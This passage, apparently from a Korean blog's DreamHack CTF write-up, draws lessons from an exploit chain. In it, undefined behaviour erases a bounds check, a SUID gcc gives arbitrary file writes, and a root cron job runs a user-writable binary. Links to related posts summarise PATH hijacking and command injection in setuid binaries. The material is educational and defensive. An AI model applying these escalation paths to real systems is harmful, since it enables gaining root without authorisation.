v4[v1] < UINT16_MAX && v1 < 10 은 사람 눈에는 "값도 보고 범위도 본다"로 읽힌다. 컴파일러는 다르게 읽는다. v4[v1] 을 평가한 시점에 이미 v1 이 범위 안이라는 게 전제되니, 뒤의 v1 < 10 은 검사가 아니라 잉여다.

순서를 뒤집어 v1 < 10 && v4[v1] < UINT16_MAX 라고만 썼어도 이 문제는 성립하지 않는다. 단축 평가 덕분에 v1 < 10 이 거짓이면 v4[v1] 은 평가되지 않고, 그러면 컴파일러도 아무것도 가정할 수 없다. 범위 검사는 그 범위를 쓰기 전에 와야 한다.

미정의 동작은 "정의되지 않은 결과"가 아니라 "가정으로 쓰인다".

배열 밖을 읽으면 쓰레기 값이 나온다고만 생각하기 쉬운데, 실제로 벌어진 일은 그게 아니었다. 컴파일러는 그 접근이 합법이라고 믿고 뒤의 코드를 통째로 정리해 버렸다. 상한 검사가 사라졌고, uint8_t 의 랩어라운드까지 없어졌다. -fno-strict-overflow 나 -fwrapv 로 막을 수 있는 종류도 아니다. 배열 범위에 대한 가정은 다른 경로로 들어온다.

경고를 켜 두면 잡히는 경우가 많다. -Wall -Wextra 에 -fsanitize=address 나 -fsanitize=undefined 를 붙여 한 번만 돌려 봐도 v4[10] 접근에서 바로 걸린다.

SUID 는 그 프로그램이 무엇을 할 수 있는지까지 따져야 한다.

gcc 에 SUID 를 붙인 건 아마 "컴파일 좀 할 수 있게" 정도의 의도였을 것이다. 하지만 컴파일러는 사용자가 지정한 경로에 파일을 쓰는 프로그램이다. -o 하나로 소유자 권한의 임의 파일 쓰기가 된다. 실제로 이 문제에서는 그것만으로 디렉토리 권한이 무의미해졌다.

gcc 만의 얘기가 아니다. 파일을 쓰거나, 다른 프로그램을 실행하거나, 사용자가 준 스크립트를 해석하는 도구에 SUID 를 붙이면 대개 그 소유자 권한 전체를 내주는 것과 같다. 필요한 게 특정 디렉토리 접근이라면 SUID 대신 그룹과 setgid 디렉토리로 좁히는 편이 낫다.

크론이 돌리는 경로는 그 경로에 쓸 수 있는 사람의 것이다.

root 크론이 /home/stupid_gcc/a.out 을 실행한다는 건, 그 파일을 만들 수 있는 사람이 root 권한으로 코드를 돌릴 수 있다는 뜻이다. 이 문제는 마침 원하는 게 플래그 복사라 얌전히 끝났지만, SUID gcc 가 있는 이상 임의의 소스를 컴파일해 심을 수도 있었다. root 가 실행하는 파일은 root 만 쓸 수 있는 자리에 두는 게 기본이다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥈 Silver 3] strncmp 는 8바이트를 다 보지 않는다 — DreamHack Broken Password 풀이
blog

[🥈 Silver 3] strncmp 는 8바이트를 다 보지 않는다 — DreamHack Broken Password 풀이

/dev/urandom 으로 만든 8바이트 비밀번호를 strncmp 로 검사한다. 그런데 strncmp 는 NUL 을 만나면 거기서 멈추고 같다고 답한다. 첫 바이트가 0x00 으로 나오는 1/256 만 노리면 개행 한 글자로 통과한다. 더 그럴싸해 보이는 임의 주소 쓰기 경로는 주소 유출이 없어 쓸 수 없는 미끼였다.
#dreamhack#ctf#misc+6
2026-08-07#dreamhack +4
[🥈 Silver 2] 셸이 권한을 떨구기 전에 그 조건을 지워 버린다 — DreamHack Path Finder 풀이
blog

[🥈 Silver 2] 셸이 권한을 떨구기 전에 그 조건을 지워 버린다 — DreamHack Path Finder 풀이

setgid 바이너리가 system("clear") 를 부른다. 절대경로가 아니니 PATH 를 앞에서부터 훑고, 내가 심어 둔 clear 가 문제 그룹 권한으로 돈다. 그런데 setgid 비트만으로는 이게 통하지 않는다. dash 가 시작하면서 빌려온 권한을 스스로 내려놓기 때문이다. 그 방어를 무력화하는 게 바로 앞줄의 setresgid 한 줄이었다.
#dreamhack#ctf#misc+8
2026-08-03#dreamhack +4
[🥈 Silver 4] setuid 바이너리가 스스로 안전장치를 끄는 순간 — DreamHack file-special-bit 풀이
blog

[🥈 Silver 4] setuid 바이너리가 스스로 안전장치를 끄는 순간 — DreamHack file-special-bit 풀이

dream 소유의 setuid 바이너리가 argv[1] 을 그대로 "cat %s" 에 끼워 system() 으로 넘긴다. 보통은 sh 가 실행 즉시 euid 를 ruid 로 되돌려 이런 주입이 무력해지는데, 이 문제는 system() 직전에 setreuid(geteuid(), geteuid()) 로 real uid 까지 올려 버려서 sh 가 떨어뜨릴 권한을 남기지 않는다. 같은 코드에서 그 한 줄만 뺀 대조군을 만들어 차이를 직접 찍었고, filename 버퍼가 10바이트라 전체 경로가 잘리는 것도 gdb 로 확인했다.
#dreamhack#ctf#misc+7
2026-07-28#dreamhack +4